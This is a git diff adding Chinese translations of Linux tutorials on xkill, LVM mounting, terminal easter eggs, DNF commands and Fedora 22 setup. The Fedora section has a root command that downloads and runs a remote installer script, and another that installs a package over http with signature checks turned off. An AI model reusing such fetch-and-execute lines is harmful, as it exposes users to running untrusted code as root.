+xkill工具强制X server关闭与它的客户程序之间的联系,其结果就是X resource关闭了这个客户程序。xkill是X11工具集中一个非常容易上手的杀掉无用窗口的工具。 + +它支持的选项如在同时运行多个X Server时使用-display选项后面跟上显示号连接到指定的X server,使用-all(并不建议)杀掉所有在屏幕上的所有顶层窗口,以及帧(-frame)参数。 + +要列出所有的客户程序你可以运行: + + $ xlsclients + +#### 示例输出 #### + + ' ' /usr/lib/libreoffice/program/soffice + deb gnome-shell + deb Docky + deb google-chrome-stable + deb soffice + deb gnome-settings-daemon + deb gnome-terminal-server + +如果后面没有跟上资源id,xkill会将鼠标指针变成一个特殊符号,类似于“X”。只需在你要杀掉的窗口上点击,它就会杀掉它与server端的通信,这个程序就被杀掉了。 + + $ xkill + +![Xkill Command](http://www.tecmint.com/wp-content/uploads/2015/05/Xkill.png) + +*使用xkill杀掉进程* + +需要注意的是xkill并不能保证它的通信会被成功杀掉/退出。大多数程序会在与服务端的通信被关闭后杀掉。然而仍有少部分会继续运行。 + +需要指出的点是: + +- 这个工具只能在X11 server运行的时候才能使用,因为这是X11工具的一部分。 +- 不要在你杀掉一个资源而它没有完全退出时而困惑。 +- 这不是kill的替代品 + +**我需要在linux命令行中使用xkill么** + +不是,你不必非在命令行中运行xkill。你可以设置一个快捷键,并用它来调用xkill。 + +下面是如何在典型的gnome3桌面中设置键盘快捷键。 + +进入设置-> 选择键盘。点击'+'并添加一个名字和命令。点击点击新条目并按下你想要的组合键。我的是Ctrl+Alt+Shift+x。 + +![Gnome Settings](http://www.tecmint.com/wp-content/uploads/2015/05/22.png) + +*Gnome 设置* + +![Add Shortcut Key](http://www.tecmint.com/wp-content/uploads/2015/05/31.png) + +*添加快捷键* + +下次你要杀掉一个X资源只要用组合键就行了(Ctrl+Alt+Shift+x),你看到你的鼠标变成x了。点击想要杀掉的x资源就行了。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/kill-processes-unresponsive-programs-in-ubuntu/ + +作者:[Avishek Kumar][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/avishek/ +[1]:https://linux.cn/article-2116-1.html diff --git a/published/201506/20150527 Linux FAQs with Answers--How to mount an LVM partition on Linux.md b/published/201506/20150527 Linux FAQs with Answers--How to mount an LVM partition on Linux.md new file mode 100644 index 0000000000..1466c8c87e --- /dev/null +++ b/published/201506/20150527 Linux FAQs with Answers--How to mount an LVM partition on Linux.md @@ -0,0 +1,91 @@ +Linux有问必答:如何在Linux中直接挂载LVM分区 +================================================================================ +> **提问**: 我有一个USB盘包含了LVM分区。 我想要在Linux中访问这些LVM分区。我该如何在Linux中挂载LVM分区? + +LVM是逻辑卷管理工具,它允许你使用逻辑卷和卷组的概念来管理磁盘空间。使用LVM相比传统分区最大的好处是弹性地为用户和程序分配空间而不用考虑每个物理磁盘的大小。 + +在LVM中,那些创建了逻辑分区的物理存储是传统的分区(比如:/dev/sda2,/dev/sdb1)。这些分区必须被初始化为“物理卷 PV”并加上卷标(如,“Linux LVM”)来使它们可以在LVM中使用。一旦分区被标记被LVM分区,你不能直接用mount命令挂载。 + +如果你尝试挂载一个LVM分区(比如/dev/sdb2), 你会得到下面的错误。 + + $ mount /dev/sdb2 /mnt + +---------- + + mount: unknown filesystem type 'LVM2_member' + +![](https://farm8.staticflickr.com/7696/17749902190_0a6d36821f_b.jpg) + +要正确地挂载LVM分区,你必须挂载分区中创建的“逻辑卷”。下面就是如何做的。 + +首先,用下面的命令检查可用的卷组: + + $ sudo pvs + +---------- + + PV VG Fmt Attr PSize PFree + /dev/sdb2 vg_ezsetupsystem40a8f02fadd0 lvm2 a-- 237.60g 0 + +![](https://farm8.staticflickr.com/7657/17938136831_d9320b7bfc_b.jpg) + +物理卷的名字和卷组的名字分别在PV和VG列的下面。本例中,只有一个创建在dev/sdb2下的组“vg_ezsetupsystem40a8f02fadd0”。 + +接下来检查卷组中存在的逻辑卷,使用lvdisplay命令: + + $ sudo lvdisplay + +使用lvdisplay显示了可用卷的信息(如:设备名、卷名、卷大小等等)。 + + $ sudo lvdisplay /dev/vg_ezsetupsystem40a8f02fadd0 + +---------- + + --- Logical volume --- + LV Path /dev/vg_ezsetupsystem40a8f02fadd0/lv_root + LV Name lv_root + VG Name vg_ezsetupsystem40a8f02fadd0 + LV UUID imygta-P2rv-2SMU-5ugQ-g99D-A0Cb-m31eet + LV Write Access read/write + LV Creation host, time livecd.centos, 2015-03-16 18:38:18 -0400 + LV Status available + # open 0 + LV Size 50.00 GiB + Current LE 12800 + Segments 1 + Allocation inherit + Read ahead sectors auto + - currently set to 256 + Block device 252:0 + +![](https://farm8.staticflickr.com/7707/17938137591_cdb4cbfb43_b.jpg) + +*上图可以看到两个逻辑卷的名字:lv_root和lv_home* + +如果你想要挂载一个特定的逻辑卷,使用如下的“LV Path”的设备名(如:/dev/vg_ezsetupsystem40a8f02fadd0/lv_home)。 + + $ sudo mount /dev/vg_ezsetupsystem40a8f02fadd0/lv_home /mnt + +你可以用mount命令不带任何参数检查挂载状态,这会显示所有已挂载的文件系统。 + + $ mount + +![](https://farm6.staticflickr.com/5449/17749903670_2ee617445d_c.jpg) + +如果你想在每次启动时自动挂载逻辑卷,在/etc/fstab中添加下面的行,你可以指定卷的文件系统类型(如 ext4),它可以从mount命令的输出中找。 + + /dev/vg_ezsetupsystem40a8f02fadd0/lv_home /mnt ext4 defaults 0 0 + +现在逻辑卷会在每次启动时挂载到/mnt。 + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/mount-lvm-partition-linux.html + +作者:[Dan Nanni][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://ask.xmodulo.com/author/nanni \ No newline at end of file diff --git a/published/201506/20150528 11 pointless but awesome Linux terminal tricks.md b/published/201506/20150528 11 pointless but awesome Linux terminal tricks.md new file mode 100644 index 0000000000..1fc526db5e --- /dev/null +++ b/published/201506/20150528 11 pointless but awesome Linux terminal tricks.md @@ -0,0 +1,104 @@ +11个无用而有趣的Linux终端彩蛋 +================================================================================ +这里有一些很酷的Linux终端彩蛋,其中的每一个看上去并没有实际用途,但很有趣。 + +![](http://images.techhive.com/images/article/2015/05/slide_01-100587352-orig.png) + +### 只工作不玩耍…… ### + +当我们使用命令行工作时,Linux是功能和实用性最好的操作系统之一。想要执行一个特殊任务?可能一个程序或者脚本就可以帮你搞定。但就像一本书中说到的,只工作不玩耍聪明的孩子也会变傻。下边是我最喜欢的可以在终端做的没有实际用途的、傻傻的、恼人的、可笑的事情。 + +### 让终端成为一个有态度的人 ### + +* 第一步)敲入`sudo visudo` +* 第二步)在“Defaults”末尾(文件的前半部分)添加一行“Defaults insults”。 +* 第三步)保存文件。 + +“我刚才对电脑做了什么?”你可能这样问自己。一定是美妙的事情吧。现在,在sudo命令提示提示下输出错误的口令,你的电脑就会呼唤你的名字。我最喜欢的一句:“听好了,煎饼一样的脑子,我没有时间听你胡说八道了。” + +![](http://images.techhive.com/images/article/2015/05/slide_02-100587353-orig.png) + +### apt-get moo ### + +![](http://images.techhive.com/images/article/2015/05/slide_03-100587354-orig.png) + +你看过这张截图?那就是运行`apt-get moo`(在基于Debian的系统)的结果。对,就是它了。不要对它抱太多幻想,你会失望的,我不骗你。但是这是Linux世界最被人熟知的彩蛋之一。所以我把它包含进来,并且放在前排,然后我也就不会收到5千封邮件,指责我把它遗漏了。 + +### aptitude moo ### + +更有趣的是将moo应用到aptitude上。敲入`aptitude moo`(在Ubuntu及其衍生版),你对`moo`可以做什么事情的看法会有所变化。你还还会知道更多事情,尝试重新输入这条命令,但这次添加一个`-v`参数。这还没有结束,试着添加更多`v`,一次添加一个,直到抓狂的aptitude给了你想要的东西。 + +![](http://images.techhive.com/images/article/2015/05/slide_04-100587355-orig.png) + +### Arch: 将吃豆人放入pacman ### + +这里有一个只为Arch爱好者准备的彩蛋。Pacman包管理工具已经很棒了,但我们可以让它变得更棒。 + +* 第一步)打开“/etc/pacman.conf”文件。 +* 第二步)在“# Misc options”部分,去掉“Color”前的“#”。 +* 第三步)添加“ILoveCandy”。 + +现在我们使用pacman安装新软件包时,进度条里会出现一个小吃豆人。真应该默认就这样的。 + +![](http://images.techhive.com/images/article/2015/05/slide_05-100587356-orig.png) + +### Cowsay! ### + +`aptitude moo`的输出格式很漂亮,但我想你苦于不能自由自在地使用。输入`cowsay`,它会做到你想做的事情。你可以让牛说任何你喜欢的东西。而且不只可以用牛,还可以用Calvin、Beavis和Ghostbusters logo的ASCII的艺术,输入`cowsay -l`可以得到所有可用的参数。它是Linux世界的强大工具。像很多其他命令一样,你可以使用管道把其他程序的输出输送给它,比如`fortune | cowsay`,让这头牛变成哲学家。 + +![](http://images.techhive.com/images/article/2015/05/slide_06-100587358-orig.png) + +### 变成3l33t h@x0r ### + +`nmap`并不是我们平时经常使用的基本命令。但如果你想蹂躏`nmap`的话,比如像人一样看起来像l33t。在任何`nmap`命令后添加`-oS`(比如`nmap -oS - google.com`)。现在你的`nmap`已经处于标准叫法是“[脚本玩具模式][1]”的模式了。Angelina Jolie和Keanu Reeves会为此骄傲的。 + +![](http://images.techhive.com/images/article/2015/05/slide_07-100587359-orig.png) + +### 获得所有的Discordian日期 ### + +如果你们曾经坐在一起思考,“嗨!我想使用无用但异想天开的方式来书写今天的日期……”试试运行`ddate`。结果类似于“Today is Setting Orange, the 72nd day of Discord in the YOLD 3181”,这会让你的服务树日志平添不少趣味。 + +注意:在技术层面,确实有一个[Discordian Calendar][2],理论上被[Discordianism][3]追随者所使用。这意味着我可能得罪某些人。或者不会,我不确定。不管怎样,`ddate`是一个方便的工具。 + +![](http://images.techhive.com/images/article/2015/05/slide_08-100587360-orig.png) + +### 我可以在任何地方看到颜色!### + +厌倦了老旧的文本?想向世界展示出自己的个性?使用`lolcat`。安装它,然后在任何地方使用。它可以接收任何文本,然后将其转换成美轮美奂的彩虹效果。可以使用`fortune | lolcat`体验。 + +![](http://images.techhive.com/images/article/2015/05/slide_09-100587361-orig.png) + +### 蒸汽机车 ### + +在你的终端显示蒸汽机车的ASCII图形。如果你需要它,安装并运行`sl`命令。`sl -l`可以看到一个袖珍版本的。或者,如果你真想在上边花费更多时间,运行`sl -h`。这会显示一个完整的或者,还包括乘客车厢。 + +![](http://images.techhive.com/images/article/2015/05/slide_10-100587362-orig.png) + +### 将任何文本逆序输出 ### + +将任何文本使用管道输送给`rev`命令,它就会将文本内容逆序输出。`fortune | rev`会给你好运。当然,这不意味着rev会将幸运(fortune)转换成不幸。 + +![](http://images.techhive.com/images/article/2015/05/slide_11-100587364-orig.png) + +### Matrix依然很酷,不是吗? ### + +想让你的终端显示滚动的文字、l33t和Matrix电影中的坠落数码?`cmatrix`是你的朋友。你甚至可以用它输出不同的颜色,非常华丽。使用`man cmatrix`学习使用方法。或者使用更好的方法,“man cmatrix | lolcat”。这确实是你在Linux终端可以做的最没实际用途却又精彩的事情了。 + +![](http://images.techhive.com/images/article/2015/05/slide_12-100587366-orig.png) + +以上就是全部内容了。 + +-------------------------------------------------------------------------------- + +via: http://www.networkworld.com/article/2926630/linux/11-pointless-but-awesome-linux-terminal-tricks.html + +作者:[Bryan Lunduke][a] +译者:[goreliu](https://github.com/goreliu) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.networkworld.com/author/Bryan-Lunduke/ +[1]:http://nmap.org/book/output-formats-script-kiddie.html +[2]:http://en.wikipedia.org/wiki/Discordian_calendar +[3]:http://en.wikipedia.org/wiki/Discordianism \ No newline at end of file diff --git a/published/201506/20150528 27 'DNF' Fork of Yum Commands for RPM Package Management in Linux.md b/published/201506/20150528 27 'DNF' Fork of Yum Commands for RPM Package Management in Linux.md new file mode 100644 index 0000000000..89266f8b0d --- /dev/null +++ b/published/201506/20150528 27 'DNF' Fork of Yum Commands for RPM Package Management in Linux.md @@ -0,0 +1,287 @@ +27 个 Linux 下软件包管理工具 DNF 命令例子 +================================================================================ +DNF即Dandified YUM,是基于RPM的Linux发行版的下一代软件包管理工具。它首先在Fedora 18中出现,并且在最近发行的Fedora 22中替代了[YUM工具集][1]。 + +![](http://www.tecmint.com/wp-content/uploads/2015/05/linux-dnf-command-examples.jpg) + +DNF致力于改善YUM的瓶颈,即性能、内存占用、依赖解决、速度和许多其他方面。DNF使用RPM、libsolv和hawkey库进行包管理。尽管它并未预装在CentOS和RHEL 7中,但您可以通过yum安装,并同时使用二者。 + +您也许想阅读更多关于DNF的信息: + +- [使用DNF取代Yum背后的原因][2] + +最新的DNF稳定版本是2015年5月11日发布的1.0(在写这篇文章之前)。它(以及所有DNF之前版本)主要由Python编写,并以GPL v2许可证发布。 + +### 安装DNF ### + +尽管Fedora 22官方已经过渡到了DNF,但DNF并不在RHEL/CentOS 7的默认仓库中。 + +为了在RHEL/CentOS系统中安装DNF,您需要首先安装和开启epel-release仓库。 + + # yum install epel-release + 或 + # yum install epel-release -y + +尽管并不建议在使用yum时添上'-y'选项,因为最好还是看看什么将安装在您的系统中。但如果您对此并不在意,则您可以使用'-y'选项以自动化的安装而无需用户干预。 + +接下来,使用yum命令从epel-realease仓库安装DNF包。 + + # yum install dnf + +在您装完dnf后,我会向您展示27个实用的dnf命令和例子,以便帮您更容易和高效的管理基于RPM包的发行版。 + +### 1. 检查DNF版本 ### + +检查您的系统上安装的DNF版本。 + + # dnf --version + +![检查DNF版本](http://www.tecmint.com/wp-content/uploads/2015/05/Check-DNF-Version.gif) + +### 2. 列出启用的DNF仓库 ### + +dnf命令中的'repolist'选项将显示您系统中所有启用的仓库。 + + # dnf repolist + +![检查所有开启的仓库](http://www.tecmint.com/wp-content/uploads/2015/05/Check-All-Enabled-Repositories.gif) + +### 3. 列出所有启用和禁用的DNF仓库 ### + +'repolist all'选项将显示您系统中所有启用/禁用的仓库。 + + # dnf repolist all + +![列出所有启用/禁用的仓库](http://www.tecmint.com/wp-content/uploads/2015/05/Check-All-Repositories.gif) + +### 4. 用DNF列出所有可用的且已安装的软件包 ### + +'dnf list'命令将列出所有仓库中所有可用的软件包和您Linux系统中已安装的软件包。 + + # dnf list + +![用DNF列出所有的软件包](http://www.tecmint.com/wp-content/uploads/2015/05/List-All-Packages.png) + +### 5. 用DNF列出所有已安装的软件包 ### + +尽管'dnf list'命令将列出所有仓库中所有可用的软件包和已安装的软件包。然而像下面一样使用'list installed'选项将只列出已安装的软件包。 + + # dnf list installed + +![列出已安装的软件包](http://www.tecmint.com/wp-content/uploads/2015/05/List-Installed-Packages.png) + +### 6. 用DNF列出所有可用的软件包 ### + +类似的,可以用'list available'选项列出所有开启的仓库中所有可用的软件包。 + + # dnf list available + +![用DNF列出可用的软件包](http://www.tecmint.com/wp-content/uploads/2015/05/List-Available-Packages.png) + +### 7. 使用DNF查找软件包 ### + +如果您不太清楚您想安装的软件包的名字,这种情况下,您可以使用'search'选项来搜索匹配该字符(例如,nano)和字符串的软件包。 + + # dnf search nano + +![通过关键字搜索软件包](http://www.tecmint.com/wp-content/uploads/2015/05/Search-Package.gif) + +### 8. 查看哪个软件包提供了某个文件/子软件包? ### + +dnf的选项'provides'能查找提供了某个文件/子软件包的软件包名。例如,如果您想找找哪个软件包提供了您系统中的'/bin/bash'文件,可以使用下面的命令 + + # dnf provides /bin/bash + +![查找提供文件的软件包](http://www.tecmint.com/wp-content/uploads/2015/05/Find-Package-Sub-Package.gif) + +### 9. 使用DNF获得一个软件包的详细信息 ### + +如果您想在安装一个软件包前知道它的详细信息,您可以使用'info'来获得一个软件包的详细信息,例如: + + # dnf info nano + +![用DNF查看软件信息](http://www.tecmint.com/wp-content/uploads/2015/05/Check-Package-Information.gif) + +### 10. 使用DNF安装软件包 ### + +想安装一个叫nano的软件包,只需运行下面的命令,它会为nano自动的解决和安装所有的依赖。 + + # dnf install nano + +![用DNF安装软件](http://www.tecmint.com/wp-content/uploads/2015/05/Install-Package-DNF.gif) + +### 11. 使用DNF更新一个软件包 ### + +您可能只想更新一个特定的包(例如,systemd)并且保留系统内剩余软件包不变。 + + # dnf update systemd + +![更新一个软件包](http://www.tecmint.com/wp-content/uploads/2015/05/Update-a-Package.gif) + +### 12. 使用DNF检查系统更新 ### + +检查系统中安装的所有软件包的更新可以简单的使用如下命令: + + # dnf check-update + +![检查系统更新](http://www.tecmint.com/wp-content/uploads/2015/05/Check-For-System-Update.gif) + +### 13. 使用DNF更新系统中所有的软件包 ### + +您可以使用下面的命令来更新整个系统中所有已安装的软件包。 + + # dnf update + 或 + # dnf upgrade + +![更新系统](http://www.tecmint.com/wp-content/uploads/2015/05/Update-System.gif) + +### 14. 使用DNF来移除/删除一个软件包 ### + +您可以在dnf命令中使用'remove'或'erase'选项来移除任何不想要的软件包。 + + # dnf remove nano + 或 + # dnf erase nano + +![移除系统中的软件](http://www.tecmint.com/wp-content/uploads/2015/05/Remove-Package.gif) + +### 15. 使用DNF移除于依赖无用的软件包(Orphan Packages) ### + +这些为了满足依赖安装的软件包在相应的程序删除后便不再需要了。可以用过下面的命令来将它们删除。 + + # dnf autoremove + +![移除无用的依赖包](http://www.tecmint.com/wp-content/uploads/2015/05/Autoremove-Packages.gif) + +### 16. 使用DNF移除缓存的软件包 ### + +我们在使用dnf时经常会碰到过期的头部信息和不完整的事务,它们会导致错误。我们可以使用下面的语句清理缓存的软件包和包含远程包信息的头部信息。 + + # dnf clean all + +![移除DNF缓存](http://www.tecmint.com/wp-content/uploads/2015/05/Remove-Cache-Packages.gif) + +### 17. 获得特定DNF命令的帮助 ### + +您可能需要特定的DNF命令的帮助(例如,clean),可以通过下面的命令来得到: + + # dnf help clean + +![获得某一命令帮助](http://www.tecmint.com/wp-content/uploads/2015/05/Help-on-DNF-Command.gif) + +### 18. 列出所有DNF的命令和选项 ### + +要显示所有dnf的命令和选项,只需要: + + # dnf help + +![获得命令选项帮助](http://www.tecmint.com/wp-content/uploads/2015/05/DNF-Options.gif) + +### 19. 查看DNF的历史记录 ### + +您可以调用'dnf history'来查看已经执行过的dnf命令的列表。这样您便可以知道什么被安装/移除及其时间戳。 + + # dnf history + +![查看历史记录](http://www.tecmint.com/wp-content/uploads/2015/05/Check-DNF-History.gif) + +### 20. 显示所有软件包组 ### + +'dnf grouplist'命令可以显示所有可用的或已安装的软件包,如果没有什么输出,则它会列出所有已知的软件包组。 + + # dnf grouplist + +![列出所有软件包组](http://www.tecmint.com/wp-content/uploads/2015/05/List-All-Group-Packages.gif) + +### 21. 使用DNF安装一个软件包组 ### + +要安装一组由许多软件打包在一起的软件包组(例如,Educational Softaware),只需要执行: + + # dnf groupinstall 'Educational Software' + +![安装一个软件包组](http://www.tecmint.com/wp-content/uploads/2015/05/Install-Group-Packages.gif) + +### 22. 更新一个软件包组 ### + +可以通过下面的命令来更新一个软件包组(例如,Educational Software): + + # dnf groupupdate 'Educational Software' + +![更新软件包组](http://www.tecmint.com/wp-content/uploads/2015/05/Update-Group-Package.gif) + +### 23. 移除一个软件包组 ### + +可以使用下面的命令来移除一个软件包组(例如,Educational Software): + + # dnf groupremove 'Educational Software' + +![移除软件包组](http://www.tecmint.com/wp-content/uploads/2015/05/Remove-Group-Package.gif) + +### 24. 从某个特定的仓库安装一个软件包 ### + +DNF可以从任何特定的仓库(比如 epel)安装一个软件包(例如,phpmyadmin): + + # dnf --enablerepo=epel install phpmyadmin + +![从特定的仓库安装软件](http://www.tecmint.com/wp-content/uploads/2015/05/Install-Package-From-Specific-Repo.gif) + +### 25. 将已安装的软件包同步到稳定发行版 ### + +'dnf distro-sync'将同步所有已安装的软件包到所有开启的仓库中最近的稳定版本。如果没有选择软件包,则会同步所有已安装的软件包。 + + # dnf distro-sync + +![将包同步至稳定版](http://www.tecmint.com/wp-content/uploads/2015/05/Synchronize-Packages.gif) + +### 26. 重新安装一个软件包 ### + +'dnf reinstall nano'命令将重新安装一个已经安装的软件包(例如,nano): + + # dnf reinstall nano + +![重新安装软件包](http://www.tecmint.com/wp-content/uploads/2015/05/Re-Install-Package.gif) + +### 27. 降级一个软件包 ### + +选项'downgrade'将会使一个软件包(例如,acpid)回退到低版本。 + + # dnf downgrade acpid + +示例输出 + + Using metadata from Wed May 20 12:44:59 2015 + No match for available package: acpid-2.0.19-5.el7.x86_64 + Error: Nothing to do. + +**我观察到**:dnf不会按预想的那样降级一个软件包。这已做为一个bug被提交。 + +### 结论 ### + +DNF是YUM管理器的优秀替代品。它试着自动做许多甚至不推荐有经验的Linux系统管理员做的工作。例如: + +- `--skip-broken`不被DNF识别,并且DNF中没有其替代命令。 +- 尽管您可能会运行dnf provides,但再也没有'resolvedep'命令了。 +- 没有'deplist'命令用来发现软件包依赖。 +- 您排除一个仓库意味着在所有操作上排除该仓库,而在yum中,排除一个仓库只在安装和升级等时刻排除他们。 + +许多Linux用户对于Linux生态系统的走向不甚满意。首先[Systemd替换了init系统][3]v,现在DNF将于不久后替换YUM,首先是Fedora 22,接下来是RHEL和CentOS。 + +您怎么看呢?是不是发行版和整个Linux生态系统并不注重用户并且在朝着与用户愿望相悖的方向前进呢?IT行业里有这样一句话 - “如果没有坏,为什么要修呢?”,System V和YUM都没有坏。 + +上面便是这篇文章的全部了。请在下方留言以让我了解您的宝贵想法。点赞和分享以帮助我们传播。谢谢! + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/dnf-commands-for-fedora-rpm-package-management/ + +作者:[Avishek Kumar][a] +译者:[wwy-hust](https://github.com/wwy-hust) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/avishek/ +[1]:http://www.tecmint.com/20-linux-yum-yellowdog-updater-modified-commands-for-package-mangement/ +[2]:http://www.tecmint.com/dnf-next-generation-package-management-utility-for-linux/ +[3]:http://www.tecmint.com/systemd-replaces-init-in-linux/ diff --git a/published/201506/20150528 Things To Do After Installing Fedora 22.md b/published/201506/20150528 Things To Do After Installing Fedora 22.md new file mode 100644 index 0000000000..1a4ff0ff8a --- /dev/null +++ b/published/201506/20150528 Things To Do After Installing Fedora 22.md @@ -0,0 +1,237 @@ +安装 Fedora 22 后要做的事情 +================================================================================ + +Red Hat操作系统的社区开发版的最新成员Fedora 22,已经于2015年5月26日发布了。对这个经典的Fedora发行版的发布充斥着各种猜测和预期,而最终Fedora 22推出了许多重大变化。 + +就初始化进程而言,Systemd还是个新生儿,但它已经准备好替换古老的sysvinit这个一直是Linux生态系统一部分的模块。另外一个用户会碰到的重大改变存在于基本仓库的python版本中,这里提供了两种不同口味的python版本,2.x和3.x分支,各个都有其不同的偏好和优点。所以,那些偏好2.x口味的用户可能想要安装他们喜爱的python版本。自从Fedora 18开始 dandified YUM安装器(即 DNF)就准备替换过时陈旧的YUM安装器了,Fedora最后决定,现在就用DNF来替换YUM。 + +### 1) 配置RPMFusion仓库 ### + +正如我已经提到过的,Fedora的意识形态很是严谨,它不会自带任何非自由组件。官方仓库不会提供一些包含有非自由组件的基本软件,比如像多媒体编码。因此,安装一些第三方仓库很有必要,这些仓库会为我们提供一些基本的软件。幸运的是,RPMFusion仓库前来拯救我们了。 + + $ sudo dnf install --nogpgcheck http://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-22.noarch.rpm + +### 2) 安装VLC媒体播放器 ### + +Fedora 22默认自带了媒体播放器,即 gnome视频播放器(以前叫做totem)。如果你觉得还好,那么我们可以跳过这一步继续往前走。但是,如果你像我一样,偏好使用最广泛的VLC,那么就去从RPMFusion仓库安装吧。安装方法如下: + + sudo dnf install vlc -y + +### 3) 安装多媒体编码 ### + +刚刚我们说过,一些多媒体编码和插件不会随Fedora一起发送。现在,有谁想仅仅是因为专有编码而错过他们最爱的节目和电影?试试这个吧: + + $ sudo dnf install gstreamer-plugins-bad gstreamer-plugins-bad-free-extras gstreamer-plugins-ugly gstreamer-ffmpeg gstreamer1-libav gstreamer1-plugins-bad-free-extras gstreamer1-plugins-bad-freeworld gstreamer-plugins-base-tools gstreamer1-plugins-good-extras gstreamer1-plugins-ugly gstreamer1-plugins-bad-free gstreamer1-plugins-good gstreamer1-plugins-base gstreamer1 + +### 4) 更新系统 ### + +Fedora是一个前锐的发行版,因此它会不断发布更新用以修复系统中出现的错误和漏洞。因而,保持系统更新到最新,是个不错的做法。 + + $ sudo dnf update -y + +### 5) 卸载你不需要的软件 ### + +Fedora预装了一些大多数用户都有用的软件包,但是对于更高级的用户,你可能知道到你并不需要它。要移除你不需要的包相当容易,只需使用以下命令——我选择卸载rhythmbox,因为我知道我不会用到它: + + $ sudo dnf remove rhythmbox + +### 6) 安装Adobe Flash ### + +我们都希望Adobe Flash不要再存在了,因为它并不被认为是最安全的,或者存在资源问题,但是暂时先让它待着吧。Fedora 22安装Adobe Flash的唯一途径是从Adobe安装官方RPM,就像下面这样。 + +你可以从[这里][1]下载RPM。下载完后,你可以直接右击并像下面这样打开: + +![Install Adobe Flash](http://blog.linoxide.com/wp-content/uploads/2015/05/Screen-Shot-2015-05-27-at-9.50.42-PM.png) + +右击并选择“用软件安装打开” + +然后,只需在弹出窗口中点击安装: + +![Install Adobe](http://blog.linoxide.com/wp-content/uploads/2015/05/Screen-Shot-2015-05-27-at-9.51.07-PM.png) + +*点击“安装”来完成安装Adobe定制RPM的过程* + +该过程完成后,“安装”按钮会变成“移除”,而此时安装也完成了。如果在此过程中你的浏览器开着,会提示你先把它关掉或在安装完成后重启以使修改生效。 + +### 7) 用Gnome Boxes加速虚拟机 ### + +你刚刚安装了Fedora,你也很是喜欢,但是出于某些私人原因,你也许仍然需要Windows,或者你只是想玩玩另外一个Linux发行版。不管哪种情况,你都可以使用Gnome Boxes来简单地创建一个虚拟机或使用一个live发行版,Fedora 22提供了该软件。遵循以下步骤,使用你所选的ISO来开始吧!谁知道呢,也许你可以检验一下某个[Fedora Spin][2]。 + +首先,打开Gnome Boxes,然后在顶部左边选择“新建”: + +![Add a new virtual machine (box)](http://blog.linoxide.com/wp-content/uploads/2015/05/Screen-Shot-2015-05-27-at-10.24.46-PM.png) + +点击“新建”来开始添加一个新虚拟机的进程吧。 + +接下来,点击打开文件并选择一个ISO: + +![Choose ISO](http://blog.linoxide.com/wp-content/uploads/2015/05/Screen-Shot-2015-05-27-at-10.28.44-PM.png) + +*在点击了“选择文件或ISO”后,选择你的ISO。这里,我已经安装了一个Debian ISO。* + +最后,自定义VM设置或使用默认配置,然后点击“创建”。VM默认会启动,可用的VM会在Gnome Boxes以小缩略图的方式显示。 + +![Create VM](http://blog.linoxide.com/wp-content/uploads/2015/05/Screen-Shot-2015-05-27-at-10.31.11-PM.png) + +*自定义你自己的设置,或者也可以保持默认。完成后,点击“创建”,VM就一切就绪了。* + +### 8) 添加社交媒体和其它在线帐号 ### + +Gnome自带有不错的内建功能用于容纳帐号相关的东西,像Facebook,Google以及其它在线帐号。你可以通过Gnome设置应用访问在线帐号设置,可以在桌面上右键点击或在应用程序中找到该应用。然后,只需点击在线帐号,并添加你所选择的帐号。如果你要添加一个帐号,比如像Google,你可以用它来作为默认帐号,用来完成诸如发送邮件、日历提醒、相片和文档交互,以及诸如此类的更多事情。 + +### 9) 安装KDE或另一个桌面环境 ### + +我们中的某些人不喜欢Gnome,那也没问题。在终端中运行以下命令来安装KDE所需的一切来替换它。这些指令也可以用以安装xfce、lxde或其它桌面环境。 + + $ sudo dnf install @kde-desktop + +安装完成后,登出。当你点击你的用户名时,注意那个表示设置的小齿轮。点击它,然后选择“Plasma”。当你再次登录时,一个全新的KDE桌面就会欢迎你。 + +![Plasma on Fedora 22](http://blog.linoxide.com/wp-content/uploads/2015/05/Screen-Shot-2015-05-27-at-11.32.27-PM.png) + +*刚刚安装到Fedora 22上的Plasma环境* + +####在 Fedora 22中安装 Cinnamon桌面:#### + +打开SSH终端,输入或粘帖如下命令并回车: + + sudo dnf install @cinnamon-desktop + +####在 Fedora 22中安装 MATE桌面:#### + +打开SSH终端,输入或粘帖如下命令并回车: + + sudo dnf install @mate-desktop + +####在 Fedora 22中安装 XFCE桌面:#### + +打开SSH终端,输入或粘帖如下命令并回车: + + sudo dnf install @xfce-desktop + +####在 Fedora 22中安装 LXDE桌面:#### + +打开SSH终端,输入或粘帖如下命令并回车: + + sudo dnf install @lxde-desktop + +### 10) 定制桌面并优化设置 ### + +默认的 Gnome 带有一张黑色背景和一个新的锁屏,幸运的是,很容易通过下面的方式来改变: + +![change desktop](http://blog.linoxide.com/wp-content/uploads/2015/05/Screen-Shot-2015-05-28-at-7.17.29-AM-1024x767.png) + +*右键点击桌面,然后点修改背景* + +![Desktop or lock screen](http://blog.linoxide.com/wp-content/uploads/2015/05/Screen-Shot-2015-05-28-at-7.17.52-AM-1024x769.png) + +*你会看到这个窗口,这里你选择新的桌面背景或锁屏图片* + +进一步,如果你点击“设置”,你会看到一个菜单展示你所以可以修改的设置。举个例子,在笔记本电脑上,你可以修改电源设置来控制合上笔记本电脑时的动作。 + + +### 11) 安装 Fedy 4.0### + +Fedy 可以帮助用户和系统管理员来监控系统的运作,并让他们可以控制系统如其所预期的工作。这里有一行脚本可以安装最新版本的 Fedy。打开终端,输入或粘帖如下行并按下回车。 + + su -c "curl https://satya164.github.io/fedy/fedy-installer -o fedy-installer && chmod +x fedy-installer && ./fedy-installer" + +### 12) 安装 Java### + +使用如下命令可以很容易的安装 Java。 + + sudo dnf install java -y + 